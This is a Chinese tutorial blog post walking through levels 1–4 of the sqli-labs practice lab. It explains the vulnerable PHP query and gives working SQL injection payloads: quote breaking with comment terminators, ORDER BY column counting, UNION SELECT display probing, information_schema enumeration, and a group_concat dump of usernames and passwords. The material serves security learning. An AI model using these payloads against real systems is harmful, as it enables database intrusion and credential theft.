Sqli-labs第一关到第四关

news2025/1/10 15:17:44

目录

一,了解PHP源代码    

二,破解第一关

 2.1在了解完源码之后,我们重点看一下

2.2破解这道题表中有几列 

2.3查看表中哪一列有回显

2.4查询库,表,列信息

三,总结 


前提:

        之所以把1234关一起破解,是因为它们属于同一类型,下面我们来看一看他们的不同点与相同点    

一,了解PHP源代码    

       1.1  以第一关为例,我们先找到www文件(及网站根目录),找到sqli靶场的第一关,在index.php文中,添加两行代码(建议每一关都加)

        添加 echo $sql; echo "<br>";, 这两行的意思是将我们输入的sql语句显示到页面上,然后换行,这有助于我们更好理解注入的原理;

        1.2进入第一关

注意:HackBar浏览器插件,自行百度查询

        1.3我们发现需要我们输入id信息,输入?id=1,如图:

        1.4 发现页面上输出了我们的登录名和密码,这时候我们不要着急往下做,我们先看一下后端源码,了解一下SQL注入的逻辑,我们挑主要的看一下

        1.5 分析PHP源代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

        这句SQL语句的意思是从数据库中查找数据,也是sql注入的关键位置。简单来说,这行代码的意思就是,我们要从 user这个表里面,查询所有id等于我们输入id的内容,然后只取一条反馈到页面上。limit0,1指的是users表从第零行开始输出1个信息(及表中的第一个信息);

echo $sql;

        这句的意思是将刚写入的SQL语句输出到屏幕上来,方便我们注入时理解

$result=mysql_query($sql);

        mysql_query函数,它的作用是将我们刚写的sql语句执行,但它的结果只会返回ture和false,无法返回我们通过sql语句所获得的数据信息。

$row = mysql_fetch_array($result);

        mysql_fetch_array的函数就解决了我们刚刚的问题,它的作用是将我们执行的sql语句所获得的数据保存在一个数组里

if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";``
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}

        这些代码就是输出我们的username和password,还要注意的就prin_f(mysql_error())这个函数,他的作用是返回一个带有错误描述的字符串。如果没有错误发生则返回 “”,这是我们之后进行报错注入的关键

二,破解第一关

 2.1在了解完源码之后,我们重点看一下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

        其中的$id就是我们可操作的内容,也就是说我们需要利用这行代码来提取出数据库的所有信息,这时我们回到第一关,输入?id=1’,看看结果;

发现报错,我们分析一下,在后端执行的sql语句为

SELECT * FROM users WHERE id='1'' LIMIT 0,1

        可以看到它只能执行到id='1’后面的 ’ LIME 0,1有语法错误,所以我们在第二个 ’ 后用--+或--%27(意思是空格) 或者%23(意思是#)将后面注释掉,再执行看一下。如图:

 

        

2.2破解这道题表中有几列 

        可以看到没有报错,并且我们看到这道题是有回显的(即会把信息返回到页面上),这里我们用到order by函数:

        order by函数用来判断该数据库当前使用的表有几列,从大往小,直到不会报错即为最大,我测试完为3列

2.3查看表中哪一列有回显

接下来来判断哪一列有回显位置,用到了

1' and 1=2 union select 1,2,3 --+

        这里涉及到了一个知识点,id 后面跟着的为-1。这里,就跟union 这个语句有关了。这是sql注入里面很常用的东西,用法是将前后两个sql语句结合起来,但是,如果第一条成立,那么在显示位置有限的情况下,后面的查询虽然也正常执行了,但是却不会在网页上反馈,如果我们希望在屏幕上直接看到返回结果,就需要让前方的语句错误。

2.4查询库,表,列信息

        接下来我们就知道了2,3的地方是有回显的,可以进行sql注入,这里给大家介绍一些简单的查询语句:

查库:select schema_name from information_schema.schemata;

查表:select table_name from information_schema.tables where table_schema='security';

查列:select column_name from information_schema.columns where table_name='users';

查字段:select username,password from security.users;

注意:sqli靶场的库默认security表默认users

这些语句可以配合limit使用,但是更推荐用group_concat函数

对比group_concat:         

group_concat函数就是将所有值返回。

concat_ws('~',username,password)

 这个是将字段名连起来输出,我们再配合group_concat函数

group_concat(concat_ws('~',username,password)) from security.users --+

 对比group_concat()

三,总结 

        1~4关的过程只有对id的闭合方式不同,比如第一关的闭合方式是 ‘id’,我们用‘进行闭合,此外闭合方式还有 id “id” (id) (’id‘)((id)) ((‘id’)) ((“id”))等 ,我们可以输入每一种方式的右半边根据它的报错信息来判断它的闭合方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1642071.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024年5月5日 十二生肖 今日运势

小运播报&#xff1a;2024年5月5日&#xff0c;星期日&#xff0c;农历三月廿七 &#xff08;甲辰年己巳月己巳日&#xff09;&#xff0c;法定节假日。 红榜生肖&#xff1a;牛、猴、鸡 需要注意&#xff1a;鼠、虎、猪 喜神方位&#xff1a;东北方 财神方位&#xff1a;正…

eSIM IoT vs M2M vs Consumer

有任何关于GSMA\IOT\eSIM\RSP\业务应用场景相关的问题&#xff0c;欢迎W: xiangcunge59 一起讨论, 共同进步 (加的时候请注明: 来自CSDN-iot). 截至2023年5月&#xff0c;全球移动通信系统协会&#xff08;GSMA&#xff09;发布了三个关键的eSIM技术规范&#xff0c;这些规…

2000-2020年县域创业活跃度数据

2000-2020年县域创业活跃度数据 1、时间&#xff1a;2000-2020年 2、指标&#xff1a;地区名称、年份、行政区划代码、经度、纬度、所属城市、所属省份、年末总人口万人、户籍人口数万人、当年企业注册数目、县域创业活跃度1、县域创业活跃度2、县域创业活跃3 3、来源&#…

【前端项目——分页器】手写分页器实现(JS / React)

组件介绍 用了两种方式实现&#xff0c;注释详细~ 可能代码写的不够简洁&#xff0c;见谅&#x1f641; 1. 包含内容显示的分页器 网上看了很多实现&#xff0c;很多只有分页器部分&#xff0c;没和内容显示联动。 因此我增加了模拟content的显示&#xff0c;这里模拟了32条数…

JavaEE初阶Day 15:文件IO(1)

目录 Day 15&#xff1a;文件IO&#xff08;1&#xff09;IO文件1. 路径2. 文件的分类3. 使用Java针对文件系统进行操作3.1 属性3.2 构造方法3.3 方法 Day 15&#xff1a;文件IO&#xff08;1&#xff09; IO I&#xff1a;Input输入 O&#xff1a;Output输出 输入输出规则…

使用机器学习确定文本的编程语言

导入必要的库 norman Python 语句&#xff1a;import <span style"color:#000000"><span style"background-color:#fbedbb"><span style"color:#0000ff">import</span> pandas <span style"color:#0000ff&quo…

onedrive下載zip檔案有20G限制,如何解決

一般來說&#xff0c;OneDrive網頁版對文件下載大小的限制如下圖所示&#xff0c;更多資訊&#xff0c;請您參考這篇文章&#xff1a;OneDrive 和 SharePoint 中的限制 - Microsoft Support 因此我們推薦您使用OneDrive同步用戶端來同步到本地電腦&#xff0c;您也可以選擇只同…

【实验】使用docker-compose编排lnmp(dockerfile) 完成Wordpress 部署

环境准备 docker&#xff1a;192.168.67.30 虚拟机&#xff1a;4核4G 关闭防火墙 systemctl stop firewalld systemctl disable firewalld setenforce 0 安装docker 直接点击【复制】粘贴到xshell中即可&#xff0c; 执行过程中若出现睡眠(sleep)通过 kill -9 pid号 &#x…

库存管理系统开源啦

软件介绍 ModernWMS是一个针对小型物流仓储供应链流程的开源库存管理系统。该系统的开发初衷是为了满足中小型企业在有限IT预算下对仓储管理的需求。通过总结多年ERP系统研发经验&#xff0c;项目团队开发了这套适用于中小型企业的系统&#xff0c;以帮助那些有特定需求的用户。…

vector的使用

1.构造函数 void test_vector1() {vector<int> v; //无参的构造函数vector<int> v2(10, 0);//n个value构造&#xff0c;初始化为10个0vector<int> v3(v2.begin(), v2.end());//迭代器区间初始化,可以用其他容器的区间初始化vector<int> v4(v3); //拷贝…

【 书生·浦语大模型实战营】作业(六):Lagent AgentLego 智能体应用搭建

【 书生浦语大模型实战营】作业&#xff08;六&#xff09;&#xff1a;Lagent & AgentLego 智能体应用搭建 &#x1f389;AI学习星球推荐&#xff1a; GoAI的学习社区 知识星球是一个致力于提供《机器学习 | 深度学习 | CV | NLP | 大模型 | 多模态 | AIGC 》各个最新AI方…

jupyter notebook 设置密码报错ModuleNotFoundError: No module named ‘notebook.auth‘

jupyter notebook 设置密码报错ModuleNotFoundError: No module named ‘notebook.auth‘ 原因是notebook新版本没有notebook.auth 直接输入以下命令即可设置密码 jupyter notebook password

链表的带环问题 链表的深度拷贝

1.1. 链表是否带环 代码很简单&#xff0c;最主要就是如何证明 首先判断链表是否带环&#xff0c;可以定义两个指针&#xff0c;一个快指针一个慢指针。快指针走两步&#xff0c;慢指针走一步一定会相遇吗&#xff1f;有没有可能会超过&#xff1f;假设进环的时候fast和slow的…

87、动态规划-最长地址子序列

思路&#xff1a; 使用递归来理解题目&#xff0c;然后在看如何优化&#xff0c;假设我当前使用元素那么最长是多少&#xff0c;如果不使用当前元素最长是多少&#xff0c;然后取最大值。 代码如下&#xff1a; //算出最长递增子序列的长度public static int lengthOfLIS02(…

【机器学习】集成方法---Boosting之AdaBoost

一、Boosting的介绍 1.1 集成学习的概念 1.1.1集成学习的定义 集成学习是一种通过组合多个学习器来完成学习任务的机器学习方法。它通过将多个单一模型&#xff08;也称为“基学习器”或“弱学习器”&#xff09;的输出结果进行集成&#xff0c;以获得比单一模型更好的泛化性…

批量美化图片,轻松实现多张图片描边,让图片瞬间焕发新生!

图片已成为我们日常生活中不可或缺的一部分。无论是社交媒体上的个人分享&#xff0c;还是商业宣传中的产品展示&#xff0c;高质量、精美的图片都扮演着至关重要的角色。然而&#xff0c;对于许多人来说&#xff0c;图片处理仍然是一个令人头疼的问题。现在&#xff0c;我们为…

激动,五四青年节,拿下YashanDB认证YCP

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、My…

SpringTask定时任务

SpringBoot项目定时任务 首先在启动类引入注解EnableScheduling然后在方法中加注解Scheduled(cron“”)cron表达式 生成cron https://www.pppet.net/

牛客热题:链表中的倒数最后K个节点

&#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;力扣刷题日记 &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 文章目录 牛客热题&#xff1a;链表中的倒数最后K个节点题目链…

PHP医疗不良事件上报系统源码 AEMS开发工具vscode+ laravel8 医院安全(不良)事件报告系统源码 可提供演示

PHP医疗不良事件上报系统源码 AEMS开发工具vscode laravel8 医院安全&#xff08;不良&#xff09;事件报告系统源码 可提供演示 医院安全不良事件报告系统&#xff08;AEMS&#xff09;&#xff1b;分为外部报告系统和内部报告系统两类。内部报告系统主要以个人为报告单位&…